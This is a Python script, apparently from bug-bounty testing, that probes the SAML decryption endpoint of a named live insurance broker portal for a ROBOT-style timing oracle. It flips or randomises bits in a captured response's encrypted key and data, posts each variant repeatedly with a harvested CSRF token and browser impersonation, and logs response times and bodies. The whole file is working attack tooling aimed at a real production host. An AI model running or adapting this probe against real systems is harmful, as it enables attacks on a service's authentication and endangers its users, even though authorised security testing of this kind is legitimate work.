from curl_cffi import requests
from lxml import etree
from urllib.parse import quote_plus
import base64, os, random, time, json, statistics
SRC='work/scratch/next/01a1c48b-4665-7004-a34f-1207f93ecb7c.xml'
HOST='maklerportal.baloise.de'
URL=f'https://{HOST}/auth/rest/public/baloise/saml2/transform'
NS={'x':'http://www.w3.org/2001/04/xmlenc#','samlp':'urn:oasis:names:tc:SAML:2.0:protocol'}
root=etree.parse(SRC).getroot()
# update outer destination/recipient/time not important for decrypt classifier
keycv=root.xpath('.//x:EncryptedKey/x:CipherData/x:CipherValue',namespaces=NS)[0]
datacv=root.xpath('.//x:EncryptedData/x:CipherData/x:CipherValue',namespaces=NS)[0]
orig_key=base64.b64decode(''.join(keycv.text.split()))
orig_data=base64.b64decode(''.join(datacv.text.split()))

def payload(kind):
 r=etree.fromstring(etree.tostring(root))
 k=r.xpath('.//x:EncryptedKey/x:CipherData/x:CipherValue',namespaces=NS)[0]
 d=r.xpath('.//x:EncryptedData/x:CipherData/x:CipherValue',namespaces=NS)[0]
 kb=bytearray(orig_key); db=bytearray(orig_data)
 if kind=='key_flip': kb[len(kb)//2]^=1
 elif kind=='key_random': kb=bytearray(os.urandom(len(kb)))
 elif kind=='data_flip': db[-1]^=1
 elif kind=='data_random': db=bytearray(os.urandom(len(db)))
 elif kind!='valid_candidate': raise ValueError(kind)
 k.text=base64.b64encode(bytes(kb)).decode()
 d.text=base64.b64encode(bytes(db)).decode()
 return base64.b64encode(etree.tostring(r,xml_declaration=True,encoding='utf-8')).decode()

P={k:payload(k) for k in ['valid_candidate','key_flip','key_random','data_flip','data_random']}
s=requests.Session(impersonate='chrome')
h={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
r=s.get(f'https://{HOST}/auth/',headers=h,timeout=30,toadex_capture=False)
csrf=s.cookies.get('CSRFT759-S',domain='.baloise.de') or s.cookies.get('CSRFT759-S')
print(json.dumps({'init':r.status_code,'csrf':bool(csrf),'cookies':list(s.cookies.keys())}))
h.update({'X-Same-Domain':'1','X-CSRFT759':csrf,'Content-Type':'application/x-www-form-urlencoded','Accept':'application/json, application/vnd.api+json'})
order=[]
for i in range(5):
 ks=list(P); random.Random(9300+i).shuffle(ks); order += ks
out=[]
for i,k in enumerate(order):
 t=time.perf_counter()
 try:
  r=s.post(URL,headers=h,data={'context':'Easylogin','SAMLResponse':P[k]},timeout=20,toadex_capture=False)
  dt=(time.perf_counter()-t)*1000
  rec={'i':i,'kind':k,'status':r.status_code,'ms':round(dt,3),'size':len(r.content),'body':r.text[:180],'date':r.headers.get('date')}
 except Exception as e:
  rec={'i':i,'kind':k,'error':str(e),'ms':round((time.perf_counter()-t)*1000,3)}
 print(json.dumps(rec)); out.append(rec)
open('work/scratch/next/robot-timing-smoke.json','w').write(json.dumps(out,indent=2))
for k in P:
 a=[x['ms'] for x in out if x['kind']==k and 'status' in x]
 print(json.dumps({'summary':k,'n':len(a),'mean':statistics.mean(a),'median':statistics.median(a),'min':min(a),'max':max(a),'stdev':statistics.stdev(a) if len(a)>1 else 0}))
